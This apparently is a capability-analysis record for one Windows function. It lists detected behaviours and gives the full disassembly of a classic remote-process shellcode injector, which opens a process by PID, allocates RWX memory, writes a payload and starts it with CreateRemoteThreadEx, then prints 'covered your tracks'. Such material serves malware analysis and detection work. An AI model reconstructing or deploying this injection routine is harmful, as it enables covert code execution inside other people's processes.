Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
cmp dword [rbp + 0x10], 1
jg 0x14000156d
mov rax, qword [str._n___]
mov rdx, rax
lea rax, str._s_usage:_program.exe__PID_
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 1
jmp 0x14000187a
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [0x14000e040], eax
mov edx, dword [0x14000e040]
mov rax, qword [str._n__]
mov r8d, edx
mov rdx, rax
lea rax, str._s_trying_to_open_a_handle_to_process___ld_
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, dword [0x14000e040]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x14000e048], rax
mov rax, qword [0x14000e048]
test rax, rax
jne 0x140001611
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov ecx, dword [0x14000e040]
mov rax, qword [str._n___]
mov r9d, edx
mov r8d, ecx
mov rdx, rax
lea rax, str._s_couldnt_get_a_handle_to_the_process___ld___error:__ld
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 1
jmp 0x14000187a
mov rdx, qword [0x14000e048]
mov rax, qword [0x140009020]
mov r8, rdx
mov rdx, rax
lea rax, str._s_got_handle_to_the_process___0x_p_
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x14000e048]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x200
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x14000e058], rax
mov rax, qword [0x14000e058]
test rax, rax
jne 0x1400016aa
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [str._n___]
mov r9d, edx
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_couldnt_allocate__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions__error:__ld
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 1
jmp 0x14000187a
mov rax, qword [0x140009020]
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions
mov rcx, rax
call dbg.printf(char const*, ::)
mov rdx, qword [0x14000e058]
mov rax, qword [0x14000e048]
mov qword [rsp + 0x20], 0
mov r9d, 0x200
lea r8, [0x140009040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [0x140009020]
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_wrote__zu_bytes_to_process_memory
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x14000e058]
mov rcx, rax
mov rax, qword [0x14000e048]
lea rdx, [0x14000e044]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x14000e050], rax
mov rax, qword [0x14000e050]
test rax, rax
jne 0x1400017c0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [str._n___]
mov r8d, edx
mov rdx, rax
lea rax, str._s_failed_to_get_a_handle_to_the_thread__error:__ld
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x14000e048]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x14000187a
mov rcx, qword [0x14000e050]
mov edx, dword [0x14000e044]
mov rax, qword [0x140009020]
mov r9, rcx
mov r8d, edx
mov rdx, rax
lea rax, str._s_got_handle_to_the_thread___ld___0x_p_
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x14000e050]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [0x140009020]
mov rdx, rax
lea rax, str._s_thread_finished_executing
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [str._n__]
mov rdx, rax
lea rax, str._s_cleaning_up
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x14000e048]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x14000e050]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x140009020]
mov rdx, rax
lea rax, str._s_covered_your_tracks__:_
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 0
add rsp, 0x40
pop rbp
ret